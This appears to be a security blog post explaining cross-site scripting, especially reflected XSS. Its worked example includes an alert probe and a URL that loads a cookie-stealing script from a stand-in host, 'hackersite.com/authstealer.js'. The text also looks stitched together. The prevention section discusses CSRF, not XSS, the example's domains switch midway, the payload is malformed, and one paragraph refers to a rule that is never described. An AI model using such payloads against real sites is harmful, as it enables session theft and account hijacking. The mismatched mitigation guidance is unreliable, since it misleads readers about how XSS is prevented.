Densu Laboratories

Photo by Shahadat Rahman on Unsplash

What is Cross-Site Scripting (XSS)

Cross-site scripting (XSS) is a common attack vector that injects malicious code into a vulnerable web application. XSS differs from other web attack vectors (e.g., SQL injections), in that it does not directly target the app itself. Instead, the users of the web application are the ones at risk. A successful cross-site scripting attack can have devastating consequences for an online business’s reputation and its relationship with its clients.

Depending on the severity of the attack, user accounts may be compromised, Trojan horse programs activated, and page content modified, misleading users into willingly surrendering their private data. Finally, session cookies could be revealed, enabling a perpetrator to impersonate valid users and abuse their personal accounts.

Cross-site scripting attacks can be broken down into two types: stored and reflected.
Stored XSS, also known as persistent XSS, is the more damaging of the two. It occurs when a malicious script is injected directly into a vulnerable web application.
Reflected XSS involves the reflecting of a malicious script off of a web application, onto a user’s browser. The script is embedded into a link and is only activated once that link is clicked on.

Photo by Towfiqu barbhuiya on Unsplash

What is a reflected XSS attack

Reflected XSS attacks, also known as non-persistent attacks, occur when a malicious script is reflected off of a web application to the visitor’s browser. The script is executed through a link, which sends a request to a website with a vulnerability that enables the execution of malicious scripts. The vulnerability is typically a result of incoming requests not being sufficiently sanitized, which allows for the manipulation of a web application’s functions and the activation of malicious scripts.

To distribute the malicious link, a perpetrator typically embeds it into an email or third party website (e.g., in a comment section or on social media). The link is embedded inside an anchor text that provokes the user to click on it, which initiates the XSS request to an exploited website, reflecting the attack back to the user.

Unlike a stored attack, where the perpetrator must locate a website that allows for the permanent injection of malicious scripts, reflected attacks only require that the malicious script be embedded into a link. That being said, in order for the attack to be successful, the user needs to click on the infected link.

As such, there are a number of key differences between reflected and stored XSS attacks, including:

• Reflected attacks are more common.
• Reflected attacks do not have the same reach as stored XSS attacks.
• Reflected attacks can be avoided by vigilant users.

With a reflected XSS, the perpetrator plays a “numbers game” by sending the malicious link to as many users as possible, thereby improving his odds of successfully executing the attack.

Reflected XSS Attack

While visiting a forum site that requires users to log in to their account, a perpetrator executes this search query alert(‘XSS’); causing the following things to occur:

1. The query produces an alert box saying: “XSS”.
2. The page displays: “<script type=’text/javascript’>alert(‘XSS’);</script > not found.”
3. The page’s URL reads http://ecommerce.com?q=<script type=”text/javascript”>alert(‘XSS’); </script>.

This tells the perpetrator that the website is vulnerable. Next, he creates his own URL, which reads

http://forum.com?q=news<\script%20src=”http://hackersite.com/authstealer.js” and embeds it as a link into a seemingly harmless email, which he sends to a group of forum users.

While the sending address and subject line may appear suspect to some, it does not mean that it won’t be clicked on.

In fact, even if only one in every 1,000 recipients of the email clicks on the link, that still amounts to several dozen infected forum users. They will be taken to the forum’s website, where the malicious script will be reflected back to their browser, enabling the perpetrator to steal their session cookies and hijack their forum accounts.

Photo by Pawel Czerwinski on Unsplash

A number of effective methods exist for both the prevention and mitigation of CSRF attacks. From a user’s perspective, prevention is a matter of safeguarding login credentials and denying unauthorized actors access to applications.

Best practices include:

• Logging off-web applications when not in use
• Securing usernames and passwords
• Not allowing browsers to remember passwords
• Avoiding simultaneously browsing while logged into an application

For web applications, multiple solutions exist to block malicious traffic and prevent attacks. Among the most common mitigation methods is to generate unique random tokens for every session request or ID. These are subsequently checked and verified by the server. Session requests having either duplicate tokens or missing values are blocked. Alternatively, a request that doesn’t match its session ID token is prevented from reaching an application.

Double submission of cookies is another well-known method to block CSRF. Similar to using unique tokens, random tokens are assigned to both a cookie and a request parameter. The server then verifies that the tokens match before granting access to the application.

While effective, tokens can be exposed at a number of points, including in browser history, HTTP log files, network appliances logging the first line of an HTTP request and referrer headers, if the protected site links to an external URL. These potential weak spots make tokens less than the full-proof solution.

Using custom rules to prevent CSRF attacks

The highly individual nature of CSRF attacks hinders the development of a one-size-fits-all solution. However, custom security policies can be employed to secure against possible CSRF scenarios.

This method completely counters the social engineering aspect of CSRF attacks. It prevents the execution of malicious requests outside of a security perimeter, regardless of content.

Alternatively, you can run the rule in ‘Alert Only’ mode to track possible exploit attempts or present CAPTCHAs that alert unwary users.